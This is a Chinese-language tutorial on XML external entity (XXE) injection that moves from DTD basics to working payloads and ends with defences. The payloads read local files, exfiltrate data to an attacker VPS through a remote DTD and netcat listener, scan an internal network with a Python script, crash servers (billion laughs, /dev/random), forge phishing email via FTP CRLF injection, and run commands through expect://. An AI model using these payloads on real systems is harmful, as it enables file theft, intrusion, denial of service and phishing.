1. 程式人生 > 實用技巧 >xxe的升級之旅

xxe的升級之旅

一.什麼是xxe

既然這篇文章說的是xxe的升級之旅,那麼什麼是xxe呢?

其實xxe也是一類注入漏洞,英文全名即Xml External Entity Injection,即我們所說的xml外部實體注入攻擊。因為實體可以通過預定義在文件中被呼叫,而實體的識別符號又可以訪問本地或者遠端內容,當允許引用外部實體時,攻擊者便可以構造惡意內容來達到攻擊。

二.基礎簡介

可能有些人看了上面一堆名詞後不知所云,什麼xxe,xml,什麼外部實體,不用急,我們現在就來慢慢升級。

level 0

xml
首先要先說下xml。xml是一種可擴充套件的標記語言,主要就是用來傳輸資料的,你可以理解為就是一種寫法類似於html語言的資料格式文件。但是xml跟html是為不同目的而設計的,html旨在顯示資料資訊,而xml旨在傳輸資料資訊。

DTD
跟xml格式相關的就是這個叫dtd(document type definition )的東西了,這個dtd的作用就是去定義xml文件的合法構建模組,也就是說聲明瞭xml的內容格式規範。

dtd有兩種宣告方式:

  • 1.內部dtd:即對XML文件中的元素、屬性和實體的DTD的宣告都在XML文件中。

  • 2.外部dtd:即對XML文件中的元素、屬性和實體的DTD的宣告都在一個獨立的DTD檔案(.dtd)中。

讓我們來看一下內部dtd的xml示例:

<!--XML宣告--><?xml version="1.0" encoding="UTF-8"?><!--DTD,文件型別宣告-->          
<!DOCTYPE note [<!ELEMENT note (body)><!ELEMENT body (#PCDATA)><!ENTITY writer "hello word">        ]>
<!--文件元素-->                                                                         
<note><body>&writer</body></note>

我們就dtd的內容一個一個來看,

!DOCTYPE note 定義此文件是 note 型別的文件。

!ELEMENT note 定義 note 元素有一個元素:”body”

!ELEMENT body 定義 body 元素為 “#PCDATA” 型別

!ENTITY writer “hello world”(第七行)定義了一個內部實體
也就是說,這樣的dtd就定義了xml的根元素是note,然後根元素下有一個body子元素,而且body元素的型別為“#PCDATA”,這樣的定義就固定了文件元素的內容格式,而後面body元素裡的“&writer”就是對內部實體的一個引用,到輸出的時候&writer就會被”hello world“替換,這樣說來應該就能大概明白了。

上面我們說的就是一個內部實體的例子,而我們重點在於外部實體,畢竟我們要講的就是外部實體注入,下面我們再來看一個引用外部實體的例子:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>  
<body>&xxe</body>
</root>

!ELEMENT foo ANY (第三行)定義元素為ANY,即可以接受任何元素。
!ENTITY xxe SYSTEM “file:///c:/test.dtd”(第四行)定義了一個外部實體
這裡樣義文件就會對c:/test.dtd檔案資源進行引用,這是一種用SYSTEM關鍵字的引用方式,還有一種用PUBLIC引用公用DTD的方式:
<!DOCTYPE 根元素名稱 PUBLIC “DTD標識名” “公用DTD的URI”>

通過以上例子,我們可以理解為一個實體其實就是一個變數。

但是實際上實體不止這一種,實體有四種,而我們以上的實體是其中的一種通用實體。

這裡列一下:

  • 內建實體 (Built-in entities)
  • 字元實體 (Character entities)
  • 通用實體 (General entities)
  • 引數實體 (Parameter entities)
    其中內建實體和字元實體都和html的實體編碼類似,有十進位制和十六進位制。

而通用實體我們已經大概瞭解了,就是剛才那兩個例子那樣的,下面我們再講一個引數實體的dtd例子:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
通過這個dtd我們可以看出來區別,就是這裡實體名前面有個“%”,而在通用實體中是沒有的,並且只能在dtd中使用% 實體名,有不同也有相同的地方,和通用實體一樣,引數實體也可以外部引用 dtd。所以這裡的重點就是引數實體只能在dtd中使用,引用。

三.xxe的利用

level 1

前面已經大概介紹了外部實體的作用和運用,下面我們開始進入主題,那麼xxe能幹什麼呢?

通過上面外部實體的例子:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>

<root>
    <body>&xxe</body>
</root>

有些基礎的小夥伴應該馬上就能想到一種漏洞利用:任意檔案讀取

為了呈現直觀一點,我在本地搭了一個環境:

xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload:


<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&xxe;</creds>

這個payload就是嘗試去讀取我本地的c:/windows/system.ini檔案,接下來post試下

結果如下:

可以看到成功讀取出了system.ini檔案中的內容。

至此我們已經簡單復現了xxe一種最簡單的利用。

level 2

上面我們成功讀取了system.ini檔案中的內容,可能有的的小夥伴去復現的時候,讀取其他檔案的時候就有可能發現讀取不了,會報錯,這是什麼原因呢?我們接下來再說一下這種情況。

如果會報錯,原因可能就是檔案中有一些特殊符號,比如說“<”,“>”,“&”等等這些符號,在引用的時候也給xml解析器解析了,因此就會報錯,從而讀取失敗。

來模擬一下這種場景,新建一個test.txt

12343545423#information


<info>sslicve<for>
test <content>

內容如上,然後讀取一下看看:

確實是什麼都讀不出來,還報了一堆錯。

那這種情況怎麼解決呢?

這時候就需要認識一個新名詞並且會用,就是“CDATA”

也就是說,我們可以將指令碼程式碼定義為“CDATA”,CDATA 部分中的所有內容就會被解析器忽略,也就可以繼續愉快地讀取檔案了。

我們來試試,把payload修改為

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY start "<![CDATA[
<!ENTITY % xxe SYSTEM "file:///d:/test.txt"> ]]> 
">]
% xxe;
>  

<roottag>&start</roottag>

這樣payload看起來好像沒什麼問題,但其實拿這個payload去打還是一樣讀取不出來。

xml解析器有個限制就是不能在內部Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內部引數實體引用。

既然內部不行,那如果我把那內容換到外部呢?試試來

修改payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % go SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://myvps/evil.dtd"> 
%dtd; ]> 

<root>&all;</root>

同時在我的vps上放一個evil.dtd,內容為:

<!ENTITY all "%start;%go;%end;">

ok到這裡終於沒再出錯了。

level 3

實際上現在有回顯的xxe已經很少了,接下來我們就來想辦法在沒有xxe回顯的情況下怎麼利用。

既然沒有回顯資料,那我們就要想辦法讓伺服器自己把資料往外帶。

其實在level 2中應該就能想到了,既然外部實體能夠請求外部url資源內容,也就是說可以訪問外面url,這樣的話我們可以寫兩個外部引數實體,第一個用來請求本地資料內容,第二個用http協議或者其他協議把請求到的資料作為引數帶到我們的vps,這樣就實現了資料外帶了。

payload:

<?xml version="1.0"?>
<!DOCTYPE message [    
      <!ENTITY % remote SYSTEM "http://myvps/xml.dtd">      
      <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">    
 %remote;%send;]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myvps:1111/?%file;'>">%start;
同時在vps上開啟nc監聽1111埠,接受資料

ok成功把資料帶出來了,這裡要補充的一點是,在xml.dtd中,之所以要把“%”轉成html實體編碼是因為在實體的值中不能有“%”,所以也就只能轉成&#x25了。

level 4

接下來也越來越好玩了,因為上面我們講到的利用都只是任意檔案讀取,而xxe漏洞的利用遠不止這些。

比如說,xxe由於可以訪問外部url,也就有類似ssrf的攻擊效果,同樣的,也可以利用xxe來進行內網探測。

可以先通過file協議讀取一些配置檔案來判斷內網的配置以及規模,以便於編寫指令碼來探測內網。

一個python指令碼例項:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
        print "error"
continue

執行起來大概是這樣

既然可以主機探測了,那麼內網主機埠探測也是類似的思路。

level 5
除了可以內網探測,還可以DOS攻擊。。

比如說:


<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此payload測試可以在記憶體中將小型 XML 文件擴充套件到超過 3GB 而使伺服器崩潰。

如果目標是UNIX系統,


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

這段payload會讓xml解析器嘗試使用/dev/random檔案中的內容來替代實體,所以這個示例會直接使UNIX系統伺服器崩潰。

level 6
還有比較好玩的玩法,當然了這個需要在特定型別的場景中運用,比如說xxe還可以運用於釣魚。

(以下例項來源於freebuf中的一篇文章)

如果內網中有一臺存在CRLF注入漏洞的SMTP伺服器,我們就能利用 ftp:// 協議結合 CRLF 注入向其傳送任意命令,也就是可以指定其傳送任意郵件給任意人,這樣就偽造了資訊源,造成釣魚 。

Java支援在sun.net.ftp.impl.FtpClient中的ftp URI,因此,我們可以指定使用者名稱和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連線中傳送相應的USER命令。

但是如果我們將%0D%0A (CRLF)新增到URL的user部分的任意位置,我們就可以終止USER命令並向FTP會話中注入一個新的命令,即允許我們向25埠傳送任意的SMTP命令:


ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:[email protected]:25

當FTP客戶端使用此URL連線時,以下命令將會被髮送給VULNERABLESYSTEM.com上的郵件伺服器:


ftp://a
EHLO a
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
From: [email protected]
To: [email protected]
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:[email protected]:25

這意味著攻擊者可以從從受信任的來源傳送釣魚郵件(例如:帳戶重置連結)並繞過垃圾郵件過濾器的檢測。除了連結之外,甚至我們也可以傳送附件。

level 7
最吸引人的還是RCE了,那麼問題來了,xxe能RCE嗎?

答案是可以的,不過還是那句話,在特定場景下。

由於PHP 的 expect 並不是預設安裝擴充套件,如果安裝了這個expect 擴充套件我們就能直接利用 XXE 進行 RCE 。

示例程式碼:

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

四.如何防禦

方案一 使用開發語言提供的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);
java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二 黑名單過濾關鍵字

當然直接過濾掉使用者提交的xml資料中的關鍵詞也是可以的,

比如說:SYSTEM和PUBLIC

總結

這篇文章我從簡單的xml的基礎知識開始整理,以升級的方式從xxe的相關基礎到花式利用進行介紹,有些地方限於文章篇幅就沒有再繼續深入,當然了xxe相關利用或者技巧肯定不限於我整理的這幾個方面,比如說xxe還可以結合jar協議進行上傳檔案,不過筆者對這方面不是很熟也就沒有去覆盤。文章中若有錯誤的地方,請各位大牛指正。

參考連結:

https://xz.aliyun.com/t/3357

https://www.freebuf.com/vuls/207639.html

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/vuls/194112.html

https://www.runoob.com/xml/xml-cdata.html

http://www.mottoin.com/detail/738.html

http://www.w3cschool.cn/dtd

https://www.freebuf.com/articles/web/177979.html

https://www.freebuf.com/column/188849.html